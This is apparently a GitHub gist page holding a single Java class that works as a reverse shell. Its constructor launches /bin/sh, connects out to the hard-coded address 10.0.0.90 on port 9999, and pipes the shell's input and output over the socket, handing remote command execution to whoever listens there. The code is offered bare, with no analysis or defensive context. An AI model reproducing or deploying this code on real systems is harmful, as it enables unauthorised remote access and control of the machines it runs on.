Skip to content

Instantly share code, notes, and snippets.

@mayomacam
Created June 2, 2025 16:22
Show Gist options
  • Select an option

  • Save mayomacam/a5209b3b50e66e9ba970e18a469325b5 to your computer and use it in GitHub Desktop.

Select an option

Save mayomacam/a5209b3b50e66e9ba970e18a469325b5 to your computer and use it in GitHub Desktop.

Revisions

  1. Casey Dunham created this gist Oct 3, 2017.
    37 changes: 37 additions & 0 deletions C.java
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,37 @@
    // Not sure where I originally got this from.
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;

    public class C {

    public C() throws Exception {
    String host="10.0.0.90";
    int port=9999;
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
    while(pi.available()>0)
    so.write(pi.read());
    while(pe.available()>0)
    so.write(pe.read());
    while(si.available()>0)
    po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
    p.exitValue();
    break;
    }
    catch (Exception e){
    }
    };
    p.destroy();
    s.close();
    }
    }